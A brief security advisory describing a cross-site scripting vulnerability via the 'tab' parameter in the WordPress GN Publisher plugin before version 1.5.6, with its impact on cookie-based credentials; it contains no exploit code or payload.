WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
